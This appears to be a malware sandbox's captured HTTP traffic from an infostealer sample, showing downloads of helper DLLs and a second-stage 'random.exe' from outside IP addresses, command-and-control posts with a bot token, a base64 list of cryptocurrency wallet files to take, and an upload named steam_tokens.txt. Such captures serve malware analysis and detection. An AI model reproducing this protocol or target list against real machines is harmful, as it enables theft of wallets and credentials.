00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Nov 25, 2024 07:53:53.175321102 CET	95	OUT	GET /68b591d6548ec281/softokn3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 25, 2024 07:53:53.621419907 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 06:53:53 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Nov 25, 2024 07:53:54.299495935 CET	99	OUT	GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 25, 2024 07:53:54.745570898 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 06:53:54 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Nov 25, 2024 07:53:55.692049980 CET	202	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CAFHIJDHDGDBFHIEHDGI Host: 185.215.113.206 Content-Length: 947 Connection: Keep-Alive Cache-Control: no-cache
Nov 25, 2024 07:53:56.806322098 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 06:53:55 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 25, 2024 07:53:56.894762993 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BGIIEGIDHCBFIDHJDGDB Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 47 49 49 45 47 49 44 48 43 42 46 49 44 48 4a 44 47 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 64 39 35 37 35 33 63 33 32 39 36 39 34 62 31 65 32 36 65 64 65 30 30 33 39 34 36 61 39 62 36 34 32 66 62 34 64 38 61 33 61 62 36 32 37 32 34 39 30 33 36 31 31 64 64 33 30 65 35 36 34 61 65 34 38 39 66 35 38 34 30 0d 0a 2d 2d 2d 2d 2d 2d 42 47 49 49 45 47 49 44 48 43 42 46 49 44 48 4a 44 47 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 42 47 49 49 45 47 49 44 48 43 42 46 49 44 48 4a 44 47 44 42 2d 2d 0d 0a Data Ascii: ------BGIIEGIDHCBFIDHJDGDBContent-Disposition: form-data; name="token"3d95753c329694b1e26ede003946a9b642fb4d8a3ab62724903611dd30e564ae489f5840------BGIIEGIDHCBFIDHJDGDBContent-Disposition: form-data; name="message"wallets------BGIIEGIDHCBFIDHJDGDB--
Nov 25, 2024 07:53:57.343863010 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 06:53:57 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Nov 25, 2024 07:53:57.346963882 CET	467	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GHJDBAKEHDHDGCAKKJJE Host: 185.215.113.206 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 48 4a 44 42 41 4b 45 48 44 48 44 47 43 41 4b 4b 4a 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 64 39 35 37 35 33 63 33 32 39 36 39 34 62 31 65 32 36 65 64 65 30 30 33 39 34 36 61 39 62 36 34 32 66 62 34 64 38 61 33 61 62 36 32 37 32 34 39 30 33 36 31 31 64 64 33 30 65 35 36 34 61 65 34 38 39 66 35 38 34 30 0d 0a 2d 2d 2d 2d 2d 2d 47 48 4a 44 42 41 4b 45 48 44 48 44 47 43 41 4b 4b 4a 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 47 48 4a 44 42 41 4b 45 48 44 48 44 47 43 41 4b 4b 4a 4a 45 2d 2d 0d 0a Data Ascii: ------GHJDBAKEHDHDGCAKKJJEContent-Disposition: form-data; name="token"3d95753c329694b1e26ede003946a9b642fb4d8a3ab62724903611dd30e564ae489f5840------GHJDBAKEHDHDGCAKKJJEContent-Disposition: form-data; name="message"files------GHJDBAKEHDHDGCAKKJJE--
Nov 25, 2024 07:53:57.795509100 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 06:53:57 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 25, 2024 07:53:57.809319019 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GIJJKKJJDAAAAAKFHJJD Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 49 4a 4a 4b 4b 4a 4a 44 41 41 41 41 41 4b 46 48 4a 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 64 39 35 37 35 33 63 33 32 39 36 39 34 62 31 65 32 36 65 64 65 30 30 33 39 34 36 61 39 62 36 34 32 66 62 34 64 38 61 33 61 62 36 32 37 32 34 39 30 33 36 31 31 64 64 33 30 65 35 36 34 61 65 34 38 39 66 35 38 34 30 0d 0a 2d 2d 2d 2d 2d 2d 47 49 4a 4a 4b 4b 4a 4a 44 41 41 41 41 41 4b 46 48 4a 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 47 49 4a 4a 4b 4b 4a 4a 44 41 41 41 41 41 4b 46 48 4a 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------GIJJKKJJDAAAAAKFHJJDContent-Disposition: form-data; name="token"3d95753c329694b1e26ede003946a9b642fb4d8a3ab62724903611dd30e564ae489f5840------GIJJKKJJDAAAAAKFHJJDContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------GIJJKKJJDAAAAAKFHJJDContent-Disposition: form-data; name="file"------GIJJKKJJDAAAAAKFHJJD--
Nov 25, 2024 07:53:58.750646114 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 06:53:58 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 25, 2024 07:53:58.786355019 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JDGIIJJDHDGCGDHIJDAK Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 44 47 49 49 4a 4a 44 48 44 47 43 47 44 48 49 4a 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 64 39 35 37 35 33 63 33 32 39 36 39 34 62 31 65 32 36 65 64 65 30 30 33 39 34 36 61 39 62 36 34 32 66 62 34 64 38 61 33 61 62 36 32 37 32 34 39 30 33 36 31 31 64 64 33 30 65 35 36 34 61 65 34 38 39 66 35 38 34 30 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 49 49 4a 4a 44 48 44 47 43 47 44 48 49 4a 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 49 49 4a 4a 44 48 44 47 43 47 44 48 49 4a 44 41 4b 2d 2d 0d 0a Data Ascii: ------JDGIIJJDHDGCGDHIJDAKContent-Disposition: form-data; name="token"3d95753c329694b1e26ede003946a9b642fb4d8a3ab62724903611dd30e564ae489f5840------JDGIIJJDHDGCGDHIJDAKContent-Disposition: form-data; name="message"ybncbhylepme------JDGIIJJDHDGCGDHIJDAK--
Nov 25, 2024 07:53:59.235513926 CET	271	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 06:53:59 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 68 Keep-Alive: timeout=5, max=88 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 61 48 52 30 63 44 6f 76 4c 7a 45 34 4e 53 34 79 4d 54 55 75 4d 54 45 7a 4c 6a 45 32 4c 32 31 70 62 6d 55 76 63 6d 46 75 5a 47 39 74 4c 6d 56 34 5a 58 77 77 66 44 42 38 55 33 52 68 63 6e 52 38 4e 58 77 3d Data Ascii: aHR0cDovLzE4NS4yMTUuMTEzLjE2L21pbmUvcmFuZG9tLmV4ZXwwfDB8U3RhcnR8NXw=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49955	185.215.113.16	80	4364	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 25, 2024 07:53:59.359711885 CET	80	OUT	GET /mine/random.exe HTTP/1.1 Host: 185.215.113.16 Cache-Control: no-cache
Nov 25, 2024 07:54:00.737785101 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 25 Nov 2024 06:54:00 GMT Content-Type: application/octet-stream Content-Length: 1966080 Last-Modified: Mon, 25 Nov 2024 06:31:05 GMT Connection: keep-alive ETag: "674419a9-1e0000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 00 00 a0 4d 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVfM@M@WkDHMM @.rsrcD@.idata @ +@jexkdxjd2@jghdqcqlM@.taggant0M"@
Nov 25, 2024 07:54:00.737852097 CET	124	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 25, 2024 07:54:00.737864971 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 25, 2024 07:54:00.737901926 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 25, 2024 07:54:00.737930059 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 25, 2024 07:54:00.737945080 CET	372	IN	Data Raw: da 49 5f 4a 99 3d 5b 4a fa 84 50 58 d6 a9 14 b3 79 64 7e a9 f2 f9 5e ed f4 e2 4d 31 76 dd 81 bc 8e 8d a2 54 0a 48 a8 6d d6 30 87 9c 3f 95 46 0d 0b 85 0d ae 08 c9 5f 7c b5 49 c3 65 f5 a1 ed 6d 96 7b 71 47 08 a5 4f 55 f3 7a cd 31 f6 31 cf 3c b8 ad Data Ascii: I_J=[JPXyd~^M1vTHm0?F_\|Iem{qGOUz11<N1Vby[^,FqM}mJ2Q\y5pJiYi>{2H39ry:h_hunrkUjnlgz\IVz1_l.o^9.K^XKy=K*P8GKZ
Nov 25, 2024 07:54:00.737981081 CET	1236	IN	Data Raw: 52 db 5e 95 f5 7d 0d 4c 36 6a 91 74 26 7a e6 31 7a 85 d2 d8 e6 7a 0e 3e f9 19 36 e2 08 35 6d 4e 55 5d 5e 59 a7 a1 51 a2 8e 61 b2 6d f6 c8 c2 6b 56 69 31 e5 a8 2d 4f 75 fa e2 8d 31 b6 dd 80 fc 96 d9 5f 09 cf 65 6d e3 08 6a 8e 0b f0 0c 5f 8d ba 7a Data Ascii: R^}L6jt&z1zz>65mNU]^YQamkVi1-Ou1_emj_z^hO{Ft9+!rN1qJJ~amkqBI"[^}KVi1dyTO,m6JpJaWEFJiMvyNmN-Ni$9h_Ipm)^%}Kjq
Nov 25, 2024 07:54:00.738059044 CET	1236	IN	Data Raw: 5e 27 8f 7f a9 0b 32 75 29 9e c8 12 88 af c0 f8 93 5f 8e bc 4e 35 b3 2f e9 c0 e6 6b ec 3a d0 05 72 69 82 7f 5c c2 04 07 59 aa cf cd 61 a9 75 31 75 d5 eb 2f e1 41 39 ba 10 7a 94 2c 8e 1a 3a 7a 27 0e a7 4f de e2 fd 37 2a fa 57 2c 16 80 a9 a1 58 bf Data Ascii: ^'2u)_N5/k:ri\Yau1u/A9z,:z'O7W,Xfik< u&W~f]vAq9iT,:l[[~rFM)I;n0iM@Daq7&=_&]HV2Q_lp)%QF^Z?k/jkS^I\|'{9BSy[S6
Nov 25, 2024 07:54:00.738075018 CET	1236	IN	Data Raw: 4f b8 d0 05 43 5e 8f 98 08 9f 25 ab ea e4 0a 4d cf b3 34 39 f7 86 e3 34 fe d9 09 ad 4f 9d fe 99 37 5d a1 77 18 e4 4f 04 19 a1 e4 03 10 09 e3 c9 71 5f ce 3e 38 c3 72 28 d7 85 1c 3a 17 0c 28 44 b1 de d6 3f 3f b3 e6 57 b1 a1 2e 1e 3c 88 49 fe ca 5d Data Ascii: OC^%M494O7]wOq_>8r(:(D??W.<I]%661zHU_j=@>3~Z$Xo0#+v\m]]t9aGaVrjWMZX*1=O>AWGRq`9J.4'Na.I7)i
Nov 25, 2024 07:54:00.738162994 CET	1236	IN	Data Raw: 16 9d 8f fd 2a db e2 67 ce de 85 93 45 38 7d cd 0f f5 a9 71 69 9f 42 ad e8 10 2a a9 c8 dd f1 29 d9 ac be 05 14 61 95 c6 48 63 b9 2d 4f eb 3f 63 c9 94 37 4a c2 0b c3 c6 c7 ad 47 54 87 35 56 b2 98 35 46 2c ce af f2 f3 89 cf 36 1a b7 1a 38 9d c8 cc Data Ascii: gE8}qiB)aHc-O?c7JGT5V5F,68<1JGehfH%kXTO2bI=l}[&zk_)>G&.1WYpt3A7c`2kGS%\]&A\C]).IC1,h[0[x8z
Nov 25, 2024 07:54:00.857590914 CET	1236	IN	Data Raw: f9 3d 4a d9 a6 9d a7 79 1b 06 4d dc 01 16 7c 7b 6a 5a 86 f7 ba 2d 07 06 00 34 0b 66 a6 f9 4f 11 03 c0 af 04 d5 85 68 64 cc 9a 46 38 5a 1c 82 da b0 f4 63 58 36 6c 96 ad f3 79 8e 7a aa df 02 60 ae b4 6c fd 11 de 51 cf a1 41 2b b4 08 83 0f 05 71 13 Data Ascii: =JyM\|{jZ-4fOhdF8ZcX6lyz`lQA+qwz2X)b0<imUOA`SfueLG!qTAs:COg)(ff2bJb"i9JSpBt32QfoLy^MF-_S<_OU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49970	185.215.113.206	80	4364	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 25, 2024 07:54:04.718077898 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----ECBGHCGCBKFIECBFHIDG Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 43 42 47 48 43 47 43 42 4b 46 49 45 43 42 46 48 49 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 64 39 35 37 35 33 63 33 32 39 36 39 34 62 31 65 32 36 65 64 65 30 30 33 39 34 36 61 39 62 36 34 32 66 62 34 64 38 61 33 61 62 36 32 37 32 34 39 30 33 36 31 31 64 64 33 30 65 35 36 34 61 65 34 38 39 66 35 38 34 30 0d 0a 2d 2d 2d 2d 2d 2d 45 43 42 47 48 43 47 43 42 4b 46 49 45 43 42 46 48 49 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 45 43 42 47 48 43 47 43 42 4b 46 49 45 43 42 46 48 49 44 47 2d 2d 0d 0a Data Ascii: ------ECBGHCGCBKFIECBFHIDGContent-Disposition: form-data; name="token"3d95753c329694b1e26ede003946a9b642fb4d8a3ab62724903611dd30e564ae489f5840------ECBGHCGCBKFIECBFHIDGContent-Disposition: form-data; name="message"wkkjqaiaxkhb------ECBGHCGCBKFIECBFHIDG--
Nov 25, 2024 07:54:06.601938963 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 06:54:05 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	52171	185.215.113.43	80	7248	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 25, 2024 07:55:04.682615042 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 25, 2024 07:55:06.042454958 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 25 Nov 2024 06:55:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	52180	185.215.113.43	80	7248	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
